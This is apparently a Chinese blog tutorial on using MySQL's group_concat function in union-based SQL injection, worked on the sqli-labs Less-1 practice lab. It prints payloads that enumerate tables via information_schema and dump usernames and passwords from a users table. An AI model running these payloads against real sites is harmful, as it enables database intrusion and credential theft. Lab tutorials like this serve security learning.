sql注入利用group_concat函数

1.group_concat函数的作用:

首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。

2.group_concat运用

这里我使用的是sqllab-less1,通过对数据库的查询,我们发现数据库表名,列名,等数据在information_schema数据库中。

就可以通过以下语句注入

复制代码
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

但是这样只能回显某一个表,这时就可以使用group_concat函数把security的每一个表回显出来

同理可以查询列名。

当库名、表名、列名都查到了之后,选择最有用的回显出来就成功的注入了。

这里我们选择users表回显出用户名username和密码password。

复制代码
?id=-1' union select 1,group_concat(username,0x3e,password),3 from users--+

当然这是最简单的注入。

相关推荐
bbq粉刷匠15 小时前
数据库设计实践
数据库
java_logo15 小时前
Docker 部署 ClickHouse Server:轻松搭建列式 OLAP 分析数据库平台
数据库·clickhouse·docker·私有化部署·olap·列式数据库·轩辕镜像
盛世宏博智慧档案15 小时前
高速 ETC 门架外场机房温湿度远程监测解决方案
服务器·数据库·php·高度·高速·温湿度
—Miss. Z—16 小时前
计算机三级数据库技术—应用题2️⃣
数据库·mysql
PrudentWoo16 小时前
PostgreSQL 12 登录失败:role “postgres“ is not permitted to log in 的排查与修复
数据库·postgresql
这个DBA有点耶16 小时前
临时表从4.7秒到0.12秒:不是所有Using temporary都需要优化
数据库·mysql·代码规范
天衍四九-16 小时前
排查慢SQL用explain分析执行计划,主要关注哪些字段?
数据库·sql
许彰午16 小时前
34-安全复盘96个问题
前端·vue.js·安全
Meta3916 小时前
PostgreSQL报SELECT rule‘s target entry X has different type from column “XXX“
数据库·postgresql·dubbo
数据知道17 小时前
AES 加密实战——模式选择(ECB/CBC/GCM)与安全陷阱
前端·网络·安全